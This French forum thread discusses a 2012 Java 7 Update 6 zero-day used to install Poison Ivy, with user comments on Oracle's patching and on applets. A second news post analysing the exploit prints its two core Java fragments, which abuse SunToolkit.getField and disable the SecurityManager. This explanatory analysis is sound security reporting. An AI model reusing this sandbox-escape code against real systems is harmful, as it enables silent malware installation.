Faille de sécurité critique dans Java 7 Update 6

[Hinault Romaric]

Faille de sécurité critique dans Java 7 Update 6
pouvant être utilisée pour installer des malwares, la désactivation de la plateforme recommandée


Les experts en sécurité tirent la sonnette d’alarme pour la dernière version de la plateforme Java. Java 7 Update 6 serait sujet à une vulnérabilité activement exploitée.

Les chercheurs en sécurité du cabinet FireEye ont découvert une faille de sécurité dans la plateforme pouvant être exploitée pour infecter des ordinateurs avec des logiciels malveillants. La vulnérabilité aurait été utilisée pour installer à distance le cheval de Troie Poison Ivy, qui a été utilisé dans le passé dans de nombreuses campagnes de cyberespionnage.

Les experts en sécurité ont classé cette vulnérabilité comme extrêmement critique, car elle permet l’exécution de code arbitraire sur les systèmes vulnérables sans l’intervention de l’utilisateur.

Les risques d’attaques par des pirates sont élevés d’autant plus qu’une preuve de faisabilité (PoC) aurait déjà été publiée sur Internet. Le PoC aurait même été utilisé pour créer un autre exploit pour une utilisation avec le Framework de test populaire Metasploit.

L’exploit pour Metasploit a été testé avec succès sur la mise à jour Java 7 Update 6, en utilisant différents navigateurs et systèmes d’exploitation dont Firefox sur Ubuntu 10.04, Internet Explorer, Chrome et Firefox sur Windows XP, Vista et Windows 7, Firefox et Safari sur Mac OS X 10.7.4.

Oracle n’a pas encore publié de commentaire concernant cette faille ou annoncé une date pour la sortie d’un correctif de sécurité. Selon le calendrier de l’éditeur, une mise à jour de la plateforme Java est prévue pour mi-octobre.

Pour l’instant, il est vivement conseillé aux utilisateurs de cette version de Java de désactiver complètement la plateforme, jusqu’à ce qu’un correctif soit disponible.

La vulnérabilité affecte uniquement le JRE (Java Runtime Environment) 1.7 qui contient Java 7 Update 6. Les versions 1.6 et antérieures du JRE ne sont pas concernées.


Source : Secunia, FireEye, Rapid7


Et vous ?

Utilisez-vous Java 7 Update 6 ? Que pensez-vous de cette faille ?

[tchize_]

mi-octobre, y a pas a dire, toujours aussi rapide sur les patchs de sécurité chez oracle


Il serait peut-être utile de préciser que le problème est lié aux applets. Il ne faut pas virer non plus complètement java de sa machine, juste désactiver applets et, je suppose, webstart.

[Dynamès]

Bon, heureusement je suis encore en java update 5.

Mais si j'avais eu la proposition de maj avant de voir cette information, j'aurais sans doute validé cette maj...

Mi-octobre alors qu'une énorme faille est signalé, faut quand même pas abusé là...

[Crazyfaboo]

Envoyé par tchize_

mi-octobre, y a pas a dire, toujours aussi rapide sur les patchs de sécurité chez oracle

Microsoft fait normalement une MAJ le Mardi toutes les deux semaines... C'est mieux, certes, mais ils ont également beaucoup plus de choses à mettre à jour...

Envoyé par Dynamès

Mi-octobre alors qu'une énorme faille est signalé, faut quand même pas abusé là...

+

Envoyé par Hinault Romaric

Oracle n’a pas encore publié de commentaire concernant cette faille ou annoncé une date pour la sortie d’un correctif de sécurité.

Ca veut juste dire qu'Oracle n'a pas répondu. Rien ne dit qu'il n'y aura pas un patch d'urgence si cette faille est aussi critique que ce qu'il y parait.
Microsoft a déjà cassé plusieurs fois son calendrier pour publier des patchs critiques. J'espère qu'Oracle le fera aussi. Pour l'instant, on ne sait tout simplement pas. A noter qu'Oracle a déjà fait des Critical Patch update il y a peu de temps...

Envoyé par Dynamès

Bon, heureusement je suis encore en java update 5.

Pas sûr. La faille peut avoir été découverte pour l'update 6 et non testée encore pour l'update 5...

[Dynamès]

Pas sûr. La faille peut avoir été découverte pour l'update 6 et non testée encore pour l'update 5...

Oui, mais ayant découvert cette faille pour l'update 6, ils ont surement voulu savoir ce qu'il en était pour les update précédents avant de dire"telle et telle version est vulnérable" non?

Ca veut juste dire qu'Oracle n'a pas répondu. Rien ne dit qu'il n'y aura pas un patch d'urgence si cette faille est aussi critique que ce qu'il y parait.
Microsoft a déjà cassé plusieurs fois son calendrier pour publier des patchs critiques. J'espère qu'Oracle le fera aussi. Pour l'instant, on ne sait tout simplement pas. A noter qu'Oracle a déjà fait des Critical Patch update il y a peu de temps...

Oui c'est vrai tu as raison de me le faire remarquer. N'allons pas trop vite en besogne en ce qui concerne les réactions d'oracle.

[Uther]

Envoyé par tchize_

mi-octobre, y a pas a dire, toujours aussi rapide sur les patchs de sécurité chez oracle

Il s'agit du calendrier planifié des mises à jour. Vu la gravité de la faille, ça m'étonnerait qu'il attendent jusque là pour faire un correctif.

[Crazyfaboo]

Envoyé par Dynamès

Oui, mais ayant découvert cette faille pour l'update 6, ils ont surement voulu savoir ce qu'il en était pour les update précédents avant de dire"telle et telle version est vulnérable" non?

On peut supposer que oui... mais encore une fois, pas sûr tant que c'est pas écrit quelque part noir sur blanc (ou rouge sur noir, vert sur marron, peu importe ^^).

Le plus simple serait que tu testes ta version de Java 7 (u5 donc) avec metasploit. Là, on serait vraiment fixé !

[JoeChip]

Sinon en principe, si on n'exécute pas des trucs suspects, et qu'on ne compte pas uniquement sur la sécurité de la JVM, le risque semble limité non ? Enfin, je veux dire, comme d'hab quoi ...?

[tchize_]

en gros avec cette faille, si j'ai bien compris, une applet est aussi sure qu'un activex sous internet explorer

[rt15]

Envoyé par JoeChip

Sinon en principe, si on n'exécute pas des trucs suspects, et qu'on ne compte pas uniquement sur la sécurité de la JVM, le risque semble limité non ? Enfin, je veux dire, comme d'hab quoi ...?

Le problème avec ces fichus applets est qu'ils ont une fâcheuse tendance à être exécutés par le navigateur, qui ne demande pas forcément confirmation avant de le faire. Ça dépend du navigateur et de sa configuration, mais par défaut ils ont plutôt tendance à autoriser.

Par exemple, si vous allez sur cette page et que vous finissez par voire une tête sur fond jaune et deux boutons, après un temps de chargement certain et un peu honteux pour ce que c'est...
Ça veut dire que votre navigateur exécute les applets (Tout du moins ceux qui ne demandent pas de droits supplémentaires, tel que l'accès au disque) sans rien vous demander !

Et là il suffit d'aller sur une page web avec un applet qui exploite la faille, si vous avez java avec la faille correspondante, vous êtes mort.

Perso, je crois avoir été infecté 3 fois, et ce a priori une fois par un ActiveX (Dont j'ai autorisé l'exécution), et deux fois par des applets (Qui se sont exécutés sans que je demande rien. La petite icône java apparaît dans la barre de notification, le PC rame un peu... Bingo t'es infecté. La pub en rafale va pas tarder !)

Donc si vous surfez dans des zones pas très clean... Désactivez java dans le navigateur ! Java ça sert quasi jamais sur le web de toute façon.

[edit]
Surtout que les failles java c'est très à la mode, voire ici ou là.

[tchize_]

personellement, avec la part de marché des applets, avec le peu de succès de javafx (j'ai vu plus de sites en sivlerlight qu'en javafx, c'est tout dire) et vu comment c'est toujours aussi rapide à charger ces bousins, je me demande franchement si la politique d'oracle ne s'oriente pas vers l'option "laissons pourir les applets jusqu'à ce que tout le monde aie oublié leur existance et puis supprimons le support"

[Elendhil]

A les fumiers de journalistes ! Ils sont tous donnés le mot, les principaux portails liés aux technologies bombardent avec des titres genre :
"Désinstaller Java est fortement recommandé‎"
"Java : alerte à la faille O day exploitée"
"Les Mac sous la menace d'une dangereuse faille zéro-day dans Java"

Quand il y a une faille dans chrome ou firefox on demande pas aux utilisateurs de désinstallés leur navigateur ou de ne plus l'utiliser...

Avec un pub pareil JavaFx est super bien parti Le taux de pénétration est pas près de s'envoler.

Je ne comprend pas trop cette haine des plugins et l'émerveillement devant le javascript. Ce vieux langage pourris des années 90 que personne voulait utiliser.
Toutes ces années de recherches sur les Langages pour finalement imposer Javascript comme langage universel

[tchize_]

Le poids de l'histoire.

En ce qui me concerne, java fx, c'est mort et enterré

[rt15]

Mais lol, effectivement. On tombe sur ce genre de phrases :

En attendant, si vous n’en avez pas besoin, il est tout simplement recommandé de désinstaller Java 1.7.

J'imagine les geeks en train se jeter sur la désinstallation de java : "Hop hop je vire ce truc, veut pas me faire pirater la gueule moi. Je sais pas à quoi ça sert de toute façon.". Peuvent pas deviner que cette faille n'est intéressante que pour les applets. Une appli java n'a absolument pas besoin de faille pour mettre en place un trojan ou autre backdoor.

[troll]
Du coup toutes leurs super applications desktop java vont plus marcher... Nan mais attendez c'est bon, ils en avaient pas !
[/troll]

[tchize_]

Envoyé par rt15

[troll]
Du coup toutes leurs super applications desktop java vont plus marcher... Nan mais attendez c'est bon, ils en avaient pas !
[/troll]

Tu semble oublier azureus, qui a une part de marché non négligeable chez les accros aux bit torrent

[tarikbenmerar]

Le nouvel exploit zero-day de Java 7 décortiqué
Il permet de désactiver le sandbox avec une facilité déconcertante


Le grave exploit 0Day révélé au grand jour ce week-end (lire ci-devant) fait l'objet d'analyses approfondies de la part d'experts en sécurité.

L'analyse de Michael Schierl, traqueur récidiviste de vulnérabilités Java, met l'index sur une faille de sécurité dans l'implémentation de la méthode .execute() de la classe Expression. L'exploit n'utilise en aucun cas du bytecode, il n'est, en somme, pas très sophistiqué, mais reste difficile à détecter.

L'exploit utilise la classe sun.awt.SunToolkit pour désactiver le SecurityManager et par conséquent le sandbox de Java. Il ouvre ainsi le champ vers une liberté totale sur le système.

Pour mieux comprendre, il faut savoir que cette classe propose une méthode nommée getField(), qui donne accès, en lecture et écriture, aux attributs privés d'autres classes.

En principe, un code ne peut accéder à ces attributs, mais la nouvelle méthode .execute() de la classe Expression introduite dans Java 7 souffre d'un bug, qui expose dangereusement la méthode getField(). Dès lors, un code pareil peut faire des ravages :

Code :

1
2
3
4
5
6
7
8
9
10
11
12
13
private void SetField(Class paramClass, 
                      String paramString,
                      Object paramObject1, 
                      Object paramObject2) throws Throwable
{ 
  Object arrayOfObject  = new Object[2]; 
  arrayOfObject[0] = paramClass;
  arrayOfObject[1] = paramString;
  Expression localExpression = new Expression(GetClass("sun.awt.SunToolkit"),
                                                  "getField", arrayOfObject);
  localExpression.execute();
  ((Field)localExpression.getValue()).set(paramObject1, paramObject2);
}

À partir de ce bout de code, on peut désactiver le sandbox en appelant System.setSecurityManager(null). Pour cela, l'exploit crée un objet Statement pour appeler cette méthode.

Néanmoins, un appel direct n'est pas permis, et sera considéré comme non sûr.
Pour contourner cette restriction, un objet AccessControlContext est créé en premier qui représente en fait une classe démarrée à partir du disque dur local, et bénéficie ainsi de tous les droits d'accès.

Code :

1
2
3
4
5
6
7
8
9
10
11
12
13
public void disableSecurity() 
    throws Throwable 
{ 
  Statement localStatement = new Statement(System.class, "setSecurityManager", new Object[1]); 
  Permissions localPermissions = new Permissions(); 
  localPermissions.add(new AllPermission()); 
  ProtectionDomain localProtectionDomain = new ProtectionDomain( 
    new CodeSource(new URL("file:///"), new Certificate[0]), localPermissions); 
  AccessControlContext localAccessControlContext = 
    new AccessControlContext(new ProtectionDomain{localProtectionDomain}); 
  SetField(Statement.class, "acc", localStatement, localAccessControlContext); 
  localStatement.execute(); 
}

Oracle n'a pas encore annoncé la sortie d'un correctif. Java 7 Update 6 est la dernière version téléchargeable. Toutes les mises à jour de Java 7 souffrent de cette même vulnérabilité.

Ainsi, on préconise de carrément désactiver le plug-in Java du navigateur, sous peine, d'ouvrir une brèche que des malwares n'hésiteront pas à exploiter.

Source : le code de l'exploit

Et vous ?

Oracle réagira-t-il assez vite pour éviter une catastrophe virale ?
Quel est le vrai potentiel d'un tel exploit ?
Les IDS et les antivirus seront-ils suffisants ?

[tchize_]

a pleurer. En gros on a un securityManager, et derrière on a awt, qui a des droits privilégiés sur le securitymanager, et qui en fait profiter celui qui veux

[Crazyfaboo]

WTF (Ouate 2 phoque) !!!
Juste… sur le cul… !!

[andry.aime]

localPermissions.add(new AllPermission());

Envoyé par Eric Cartman

ça troue le ***

Envoyé par tchize_

En ce qui me concerne, java fx, c'est mort et enterré

Non, c'est un zombie .

[pmithrandir]

tient, grace a ca, je viens de m'apercevoir que le bouton disable java de la barre webdeveloper ne fonctionne pas je vois le smiley même quand java est sencé être desactivé.